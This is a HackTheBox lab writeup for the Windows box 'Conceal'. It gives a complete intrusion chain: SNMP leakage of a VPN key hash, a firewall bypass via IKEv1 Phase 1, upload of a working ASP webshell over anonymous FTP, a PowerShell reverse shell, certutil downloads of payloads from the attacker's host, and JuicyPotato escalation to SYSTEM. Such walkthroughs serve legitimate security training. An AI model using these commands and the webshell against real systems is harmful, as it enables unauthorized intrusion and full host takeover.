Skip to content

Conceal Writeup - HackTheBox

Hard Windows
Mohammad Meraj

Independent Security Researcher

Conceal is a Windows box. The chain runs: all TCP ports are firewall-filtered but SNMP with the default public community string leaks listening ports, local usernames, and an IKE VPN PSK hash stored in the sysContact field, cracking the hash gives the IKE pre-shared key, completing IKEv1 Phase 1 authentication with strongswan drops the firewall, anonymous FTP writes land directly in the IIS /upload web root, an ASP webshell gives code execution as destitute, and SeImpersonatePrivilege with JuicyPotato escalates to SYSTEM.

Discovery

TCP scan

┌──(kali㉿kali)-[~]
└─$ nmap -p- $TARGET_IP -sV -oA nmap/nmap
All 65535 scanned ports on $TARGET_IP are in ignored states.
Not shown: 65535 filtered tcp ports (no-response)

Every TCP port filtered. The host is up (responds to ICMP) but silently drops all SYN packets. A stateful firewall is in front. Move to UDP, specifically SNMP.

SNMP Enumeration

┌──(kali㉿kali)-[~]
└─$ snmpwalk -cpublic -v2c $TARGET_IP
iso.3.6.1.2.1.1.1.0 = STRING: "Hardware: AMD64 Family 25 ... Software: Windows Version 6.3 (Build 15063 Multiprocessor Free)"
iso.3.6.1.2.1.1.4.0 = STRING: "IKE VPN password PSK - 9C8B1A372B1878851BE2C097031B6E43"
iso.3.6.1.2.1.1.5.0 = STRING: "Conceal"

The sysContact field holds an NTLM-format hash labeled as the IKE VPN PSK. Crack it at an online NTLM cracker. Then pull the full host profile:

┌──(kali㉿kali)-[~]
└─$ snmp-check $TARGET_IP
[*] System information:
  Hostname: Conceal
  Domain: WORKGROUP

[*] User accounts:
  Guest
  Destitute
  Administrator
  DefaultAccount

[*] Listening TCP ports:
  80  135  139  445  49664  49665  49666  49667  49668  49669  49670

[*] Listening UDP ports:
  123  161  500  4500  5050  5353  5355  137  138  1900

UDP 500 (ISAKMP) and 4500 (NAT-T) confirm an IKE service. The full TCP port list is now known from inside the host even though the firewall blocks it externally.

Firewall Bypass via IKEv1 Phase 1

┌──(kali㉿kali)-[~]
└─$ ike-scan -M $TARGET_IP
$TARGET_IP  Main Mode Handshake returned
        SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration(4)=0x00007080)
        VID=1e2b516905991c7d7c96fcbfb587e46100000009 (Windows-8)

IKEv1 Main Mode, PSK auth, 3DES/SHA1/DH group 2. Configure strongswan to match exactly:

# /etc/ipsec.conf
config setup
    charondebug="all"
    uniqueids=yes
    strictcrlpolicy=no

conn Conceal
    authby=secret
    auto=start
    ike=3des-sha1-modp1024!
    esp=3des-sha1!
    type=transport
    keyexchange=ikev1
    left=$ATTACKER_IP
    right=$TARGET_IP
    rightsubnet=$TARGET_IP/32[tcp]
┌──(kali㉿kali)-[~]
└─$ echo '$TARGET_IP : PSK "$CONCEAL_PSK"' >> /etc/ipsec.secrets
┌──(kali㉿kali)-[~]
└─$ ipsec start --nofork
11[IKE] IKE_SA Conceal[1] established between $ATTACKER_IP...$TARGET_IP
...
03[IKE] received NO_PROPOSAL_CHOSEN error notify

Phase 1 succeeds, Phase 2 fails. The firewall checks for completed Phase 1 authentication only, not a fully negotiated ESP tunnel. The gate drops on Phase 1 success.

Re-scan through the open firewall

┌──(kali㉿kali)-[~]
└─$ nmap -p21,80,135,139,445,49664,49665,49666,49667,49668,49669,49670 -sTCV $TARGET_IP
PORT   STATE  SERVICE  VERSION
21/tcp open   ftp      Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
80/tcp open   http     Microsoft IIS httpd 10.0

Firewall bypassed. Anonymous FTP is open alongside IIS on port 80.

Foothold

Confirm FTP writes land in the IIS web root

┌──(kali㉿kali)-[~]
└─$ feroxbuster -u http://$TARGET_IP/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt
301  GET  http://$TARGET_IP/upload => http://$TARGET_IP/upload/
┌──(kali㉿kali)-[~]
└─$ ftp $TARGET_IP
Name: anonymous
ftp> put test.asp
ftp> quit
curl http://$TARGET_IP/upload/test.asp
226 Transfer complete.
test

FTP root and IIS /upload are the same directory. Upload an ASP webshell:

<%
Dim cmd
cmd = Request.QueryString("cmd")
If cmd <> "" Then
    Set oShell = CreateObject("WScript.Shell")
    Set oExec = oShell.Exec("cmd.exe /c " & cmd)
    Response.Write oExec.StdOut.ReadAll()
End If
%>
┌──(kali㉿kali)-[~]
└─$ ftp $TARGET_IP
ftp> put cmd.asp
ftp> quit
curl 'http://$TARGET_IP/upload/cmd.asp?cmd=whoami'
conceal\destitute

Code execution as conceal\destitute. Deliver a base64-encoded PowerShell reverse shell via the webshell's cmd parameter:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 49681
PS C:\Windows\SysWOW64\inetsrv> whoami
conceal\destitute

Shell as destitute.

Privilege Escalation

SeImpersonatePrivilege via JuicyPotato

PS C:\Users\Guest\Desktop> whoami /priv
Privilege Name                Description                               State
SeImpersonatePrivilege        Impersonate a client after authentication Enabled

SeImpersonatePrivilege enabled. Windows 10 build 15063 is old enough for JuicyPotato. Stage JuicyPotato and a reverse shell payload via certutil, then run with a working CLSID for this build:

PS C:\Users\Guest\Desktop> certutil.exe -urlcache -split -f http://$ATTACKER_IP/jp.exe C:\Windows\Temp\jp.exe
PS C:\Users\Guest\Desktop> certutil.exe -urlcache -split -f http://$ATTACKER_IP/shell.exe C:\Windows\Temp\shell.exe
PS C:\Users\Guest\Desktop> C:\Windows\Temp\jp.exe -t * -p C:\Windows\Temp\shell.exe -l 1337 -c "{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}"
[+] authresult 0
{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 49740
C:\Windows\system32>whoami
nt authority\system

References